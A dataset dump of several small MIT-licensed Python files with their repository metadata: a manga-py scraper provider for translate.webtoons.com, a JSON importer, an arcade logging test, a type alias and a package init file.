848a78e93b890af0c92056a1a9fc7f6ce5707cf6

[ "MIT" ]

18

2019-07-26T22:27:06.000Z

2019-08-25T13:45:13.000Z

manga_py/providers/translate_webtoons_com.py

sonvt1710/manga-py

848a78e93b890af0c92056a1a9fc7f6ce5707cf6

[ "MIT" ]

2

2019-08-07T12:38:25.000Z

2019-08-08T06:53:31.000Z

from manga_py.provider import Provider from .helpers.std import Std class TranslateWebToonsCom(Provider, Std): def get_archive_name(self) -> str: return self.normal_arc_name(self.get_chapter_index()) def get_chapter_index(self) -> str: return self.re.search(r'\bepisodeNo=(\d+)', self.chapter).group(1) def get_content(self): return self.http_get(self.get_url()) def get_manga_name(self) -> str: return self.text_content_full(self.content, 'h3.subj') def _chapters(self, content): return self._elements('.detail_lst > ul > li > a', content) @staticmethod def _filter_chapters(chapters): result = [] for item in chapters: content = item.cssselect('.rate_num.cplt')[0].text_content_full().strip('\n\t\r \0') if content == '100%': result.append(item) return result def get_chapters(self): pages = self._elements('.paginate > a:not([class])') chapters = self._chapters(self.content) if pages: n = self.normalize_uri for i in pages: content = self.http_get(n(i.get('href'))) chapters += self._chapters(content) return self._filter_chapters(chapters) def get_files(self): parser = self.html_fromstring(self.chapter) return self._images_helper(parser, '.img_info > img') def get_cover(self) -> str: return self._cover_from_content('.thmb img') def book_meta(self) -> dict: # todo meta pass main = TranslateWebToonsCom

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1,600

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null

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1

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1

0

4

df2c0482b57e718f47cb035d272a2bd625f0f2ab

323

py

Python

python/tasker/src/json/Importer.py

PUT-II/akai-org-rekrutacja

82e3b65de3f2ce965a8f71e61395e32750d90f87

[ "MIT" ]

null

python/tasker/src/json/Importer.py

PUT-II/akai-org-rekrutacja

82e3b65de3f2ce965a8f71e61395e32750d90f87

[ "MIT" ]

null

python/tasker/src/json/Importer.py

PUT-II/akai-org-rekrutacja

82e3b65de3f2ce965a8f71e61395e32750d90f87

[ "MIT" ]

null

import json class Importer: def __init__(self): self.__encoded_tasks: str = "" pass def read_tasks(self): with open("taski.json", mode="r", encoding="utf8") as file: self.__encoded_tasks = file.read() def get_tasks(self): return json.loads(self.__encoded_tasks)

20.1875

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4

df3f0c07e068990c16324e3f1d867643cf9be2d8

181

py

Python

tests/unit2/test_arcade.py

LiorAvrahami/arcade

fce254a9eb89629de1f99d57a63759a2953184e9

[ "MIT" ]

824

2016-01-07T19:27:57.000Z

2020-08-01T03:15:47.000Z

tests/unit2/test_arcade.py

LiorAvrahami/arcade

fce254a9eb89629de1f99d57a63759a2953184e9

[ "MIT" ]

646

2016-01-08T02:42:31.000Z

2020-08-03T14:13:27.000Z

tests/unit2/test_arcade.py

LiorAvrahami/arcade

fce254a9eb89629de1f99d57a63759a2953184e9

[ "MIT" ]

221

2016-01-07T22:36:33.000Z

2020-07-24T23:30:08.000Z

import logging import arcade def test_logging(): arcade.configure_logging(logging.WARNING) logger = logging.getLogger('arcade') assert logger.level == logging.WARNING

20.111111

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181

8

46

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null

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0

1

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null

0

1

0

4

df4082af9eaf2640800c1ac86b5322b4d1947ee5

71

py

Python

src/btc/types_btc.py

wenqinchao/btc

9d9c7676d830a31396a5b17de981d456c3f27b89

[ "MIT" ]

3

2021-03-13T13:56:32.000Z

2021-06-09T02:10:11.000Z

src/btc/types_btc.py

wenqinchao/btc

9d9c7676d830a31396a5b17de981d456c3f27b89

[ "MIT" ]

null

src/btc/types_btc.py

wenqinchao/btc

9d9c7676d830a31396a5b17de981d456c3f27b89

[ "MIT" ]

null

from typing import NewType RPCEndpoint = NewType("RPCEndpoint", str)

23.666667

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71

6.875

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41

23.666667

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1

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null

0

1

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4

df63416bcd28e4af3cbd00c243d23aa369eca361

83

py

Python

pyytdata/util/__init__.py

princekrroshan01/youtube-api-wrapper

922b1737600a3e9f41c30578c8fd202a0e092842

[ "MIT" ]

17

2020-07-12T11:32:50.000Z

2022-03-15T13:36:43.000Z

pyytdata/util/__init__.py

princekrroshan01/youtube-api-wrapper

922b1737600a3e9f41c30578c8fd202a0e092842

[ "MIT" ]

11

2020-07-07T07:34:26.000Z

2021-12-17T07:47:04.000Z

pyytdata/util/__init__.py

princekrroshan01/youtube-api-wrapper

922b1737600a3e9f41c30578c8fd202a0e092842

[ "MIT" ]

2

2020-08-20T07:31:18.000Z

2021-02-28T21:24:51.000Z

from .chnlinfo import ChnlInfo from .info import Info from .vidinfo import VidInfo

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true

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